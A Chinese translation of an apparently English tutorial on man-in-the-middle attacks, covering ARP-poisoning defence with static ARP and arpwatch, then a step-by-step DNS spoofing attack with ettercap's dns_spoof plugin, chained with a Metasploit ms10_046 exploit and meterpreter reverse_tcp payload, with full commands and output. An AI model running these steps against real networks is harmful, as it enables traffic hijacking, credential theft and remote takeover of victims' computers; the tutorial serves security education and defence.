中间人攻击-DNS欺骗

中间人攻击-DNS欺骗

本文由Heee翻译自国外网站,转载请著名出处

===================================

在前面的文章(中间人攻击-ARP毒化)中,我们讨论了黑客危险的攻击和实用的ARP中毒原理。在本文中,我将首先探讨检测和防止ARP中毒(或ARP欺骗)攻击,然后我将回顾其他的中间人攻击-DNS欺骗。

ARP缓存攻击是一项非常危险的攻击,重要的是在用户中创建安全的意识和分析有效的工具和策略。如果你操作的是小型网络,那么就很容易维护ARP。但是在大型的网络,维护ARP是很困难和费事的。在前一篇文章的最后我们讨论了工具和技术,能够被用来检测ARP缓存中毒攻击。让我们来回顾下每一步:  

静态ARP

你可以在网络ARP表中手动的添加一些信息,一旦信息插入,你就有了静态ARP映射。输入数据的过程也是非常简单,在你的终端/CMS中,只需输入:“arp -s”

例子:

你现在的ARP表:

root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0

让我们假设一下,我想添加一个新的主机在我的ARP缓存表中,我输入如下命令:

arp -s IP MAC

root@bt:~# arp -s 192.168.1.2 00:50:FC:A8:36:F5
root@bt:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.1.2 ether 00:50:fc:a8:36:f5 CM eth0
192.168.1.1 ether 00:22:93:cf:eb:6d C eth0
root@bt:~#

需要注意的是,手动添加ARP表只适用于当前的会话。当你重新启动计算机,将更新表。如果你想要使用这种方法,那么你可以创建一个批处理文件/BASH文件,并将它们添加到启动项。

ARPwatch

(ps:监听ARP记录)

这是一个不错的实用程序,已经被用来监测ARP网络,它能够探测并记录发生更改的网络,同时还发送邮箱详细说明各自的变化。安装过程也是非常简单的。

对于Ubuntu用户:

# apt-get install arpwatch

root@bt:~# arpwatch -h
Version 2.1a15
usage: arpwatch [-dN] [-f datafile] [-i interface] [-n net[/width]] [-r file] [-s sendmail_path] [-p] [-a] [-m addr] [-u username] [-R seconds ] [-Q] [-z ignorenet/ignoremask]

如果需要快速检测就用下面这个命令:

# arpwatch -i interface 
root@bt:~# arpwatch -i eth0

检查程序是否在运行:

root@bt:~# ps -ef | grep arpwatch
arpwatch 1041 1 0 14:05 ? 00:00:00 /usr/sbin/arpwatch -u arpwatch -N -p
root 2191 2165 0 14:54 pts/0 00:00:00 grep –color=auto arpwatch


接下来的步骤就是ARPwatch记录日志,这也非常简单,你只需要做得是确定目录,然后读取文件。

root@bt:~# cd /var/lib/arpwatch
root@bt:/var/lib/arpwatch# ls
arp.dat arp.dat-
root@bt:/var/lib/arpwatch# cat arp.dat
00:50:fc:a8:36:f5    192.168.1.2    1337437776        eth0
00:27:0e:21:a6:1e    192.168.1.5    1337437923        eth0


所以如果你是网络管理员,那么你应该实施一些策略来监视ARP表并且保护主机免受ARP中毒攻击。

当然我们要注意,中间人攻击并不局限于一个ARP欺骗攻击。正如前面提到的,还有许多其他的技术能够执行一个中间人攻击。一个主要的例子就是DNS欺骗,我们将分析它。

DNS欺骗攻击

DNS欺骗攻击是一种非常危险的中间人攻击,它容易被攻击者利用并且窃取用户的机密信息。虽然这篇文章可以提供一些新的见解,但重要的是DNS欺骗是一个一般概念,有无数种方法可以实现一个DNS欺骗攻击。

在一个DNS欺骗攻击中,攻击者可以利用一个漏洞来伪造网络流量。因此,要理解DNS欺骗攻击,必须理解DNS是怎样工作的。

DNS(域名系统)在互联网中是一个非常重要的协议。它属于TCP/IP,是一个分层结构的分布式模块,它包含域名的相关信息。它负责在网络上映射域名到他们各自的IP上。DNS定位主机/服务器通过查看友好域名,使用域名系统,DNS将域名和IP地址相互映射 。这些设备(路由器、服务器等)连接到你的电脑不能理解一些友好的名称 (infosecinstitute.com),他们只了解一个IP地址,而DNS负责翻译它。

让我们来看看下面这个图来理解主机和本地DNS服务器的正常通信。

DNS服务器包含着一个主数据库,其中包括信息的IP地址,因为这涉及到相应的域名。所以在这些正常的通信中,一个主机发送请求到服务器,之后服务器响应正确的信息。如果DNS没有信息传入的请求,它将发送请求到外部DNS服务器来获取正确的响应。

那么攻击者如何使用中间人攻击来实施DNS欺骗呢?下图说明了答案:

使用DNS欺骗中间人攻击,攻击者将截取会话,然后转移到一个假网站的会话。假如:用户希望访问google.com,并且谷歌的IP地址为173.194.35.37,攻击者就可以使用DNS欺骗技术拦截会话,并将用户重定向到假冒的网站,假网站IP可以为任意IP。

演示DNS欺骗攻击

在本系列的以前文章中我发现ettercap是一个很好用来演示ARP欺骗攻击的工具。当然ettercap包含一个DNS插件,非常容易使用哦。

打开ettercap GUI,点击"sniff",之后再"unified sniffing"选择自己的网络。单机hosts,之后扫描整个子网存活的主机。在执行时,我们来编辑etter.dns文件,以确保它执行正确的DNS欺骗攻击:

microsoft sucks ;)
# redirect it to www.linux.org
#
microsoft.com A 192.182.196.56
*.microsoft.com A 192.182.196.56
www.microsoft.com PTR 192.182.196.56 # Wildcards in PTR are not allowed

默认情况下,ettercap是重定向到另一个网站的IP地址,我们来改变它:

microsoft.com A 192.168.1.12
*.microsoft.com A 192.168.1.12
www.microsoft.com PTR 192.168.1.12 # Wildcards in PTR are not allowed

192.168.1.12是攻击者的IP地址。确保Web服务器运行在攻击者的机器,一定要启用IP转发。 在受害者的电脑查看:

C:\>ping www.microsoft.com
Pinging microsoft.com [65.55.58.201] with 32 bytes of data:
Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
>Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
Reply from 65.55.58.20: bytes=32 time=167ms TTL=54
Ping statistics for 65.55.58.20
Packets: Sent = 4, Received = 4, Lost = 0 <0% loss>,

在ettercap GUI上,选择受害者主机(目标1)和默认路由器(网关,目标2)。


点击Mitm---ARP poisoning,选择"Sniff remote connerctions."之后点击 "start"-"start sniffing"

点击选择"plugins"--"manage the plugins" 在其中选择dns_spoof。这将会启用dns_spoof插件来执行DNS欺骗中间人攻击。现在在受害者电脑的DNS欺骗攻击是:


你可以看到,在DNS已经成功欺骗时,所有会话被转移到了攻击者的主机,而不是真正的微软服务器。

这个演示是基于GUI的ettercap,你也可以使用命令行版本。让我们考虑一个快速演示DNS欺骗的命令行接口。

选择etter。查看Dns使用简单的命令:

root@bt:~# locate etter.dns
/usr/local/share/videojak/etter.dns
/usr/share/ettercap/etter.dns
root@bt:~#

现在你可以使用你喜欢的文本编辑器来编辑这个文件。你可以使用文本编辑器nano或者其他任何你想要的

root@bt:~# gedit /usr/share/ettercap/etter.dns
root@bt:~# nano /usr/share/ettercap/etter.dns

当你完成了保存这个文件,现在做好了准备。我们需要做得就是通过ettercap启用DNS欺骗攻击:

root@bt:~# ettercap -T -q -P dns_spoof -M arp // //
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 ->    00:1C:23:42:8D:04 192.168.1.12 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
4 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : ANY (all the hosts in the list)
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating dns_spoof plugin...


让我们来拆开命令结构,来分析DNS欺骗攻击所用到的命令:

  • -P  使用插件,这里我们使用的是dns_spoof

  • -T 使用基于文本界面

  • -q  启动安静模式(不回显的意思)

  • -M 启动ARP欺骗攻击

  • // //  代表欺骗整个子网网络

此外,我们可以综合使用这些命令。例如,你想要欺骗一个特定的受害主机,那么你可以使用受害者的IP来执行DNS欺骗攻击。

root@bt:~# ettercap -T -q -P dns_spoof -M arp /192.168.1.6/ //
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 ->    00:1C:23:42:8D:04 192.168.1.12 255.255.255.0
SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %
4 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.6 00:16:41:ED:6A:D0

在另一个例子中,你可以使用特定的接口来执行dns欺骗攻击。为此,可以使用如下命令:

root@bt:~# ettercap -T -q -i eth0 -P dns_spoof -M arp // //

DNS欺骗是一种非常危险的攻击,因为攻击者可以利用ettercap的dns_spoof插件和其他工具执行攻击。最终,攻击者可以使用一个社会工程工具包(作者这里指的应该是SET了)来执行攻击去控制受害者的电脑。想象一下这是多少容易,通过社会工程工具包和DNS欺骗技术你所需要做得就是配置你的社会工程工具包和你的IP清单,制作像谷歌一样的网站欺骗域名到你的IP地址上。当受害者打开google,你的攻击将使它访问你的IP,之后建立一个远程的会话。

让我们来考虑一个示例场景:下面是是metasploit 渗透工具使用ettercap进行dns欺骗。选择你想要的exploit,在payload中我们就选择 reverse_tcp:

root@bt:~# msfconsole
o 8 o o
8 8 8
ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P
8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8
8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8
8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8
..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
=[ metasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

msf > use windows/browser/ms10_046_shortcut_icon_dllloader
msf exploit(ms10_046_shortcut_icon_dllloader) > set SRVHOST 192.168.1.12
SRVHOST => 192.168.1.12
msf exploit(ms10_046_shortcut_icon_dllloader) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms10_046_shortcut_icon_dllloader) > set LHOST 192.168.1.12
LHOST => 192.168.1.12
msf exploit(ms10_046_shortcut_icon_dllloader) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.1.12:4444
[*]
[*] Send vulnerable clients to \\192.168.1.12\bqokoWwx\.
[*] Or, get clients to save and render the icon of http:///.lnk
[*]
[*] Using URL: http://192.168.1.12:80/
[*] Server started.

如果一切正常,我们所需要做得就是根据我们的DNS配置etter文件。看下面这个图:我使用攻击者的IP地址来设置为目标网站。一旦受害者打开该网站,他将被重定向到192.168.1.12中,然后会话开始。

这些只是DNS欺骗中最危险的一个方面:受害者不知道发送了什么,因为一切似乎是合情合理的,但不幸的是数据并没有进行正确的传输。此外,这种攻击非常危险,因为攻击者可能会利用这个技术在公共的wi-fi点上,入侵其他电脑。希望这篇文章已经讨论了一个有用的策略来检测ARP欺骗攻击和DNS欺骗攻击。

===============

看了国外很多黑阔的文章发现他们写文章真的很有条理,国内真的应该好好学习下。

你可能感兴趣的:(网络防御)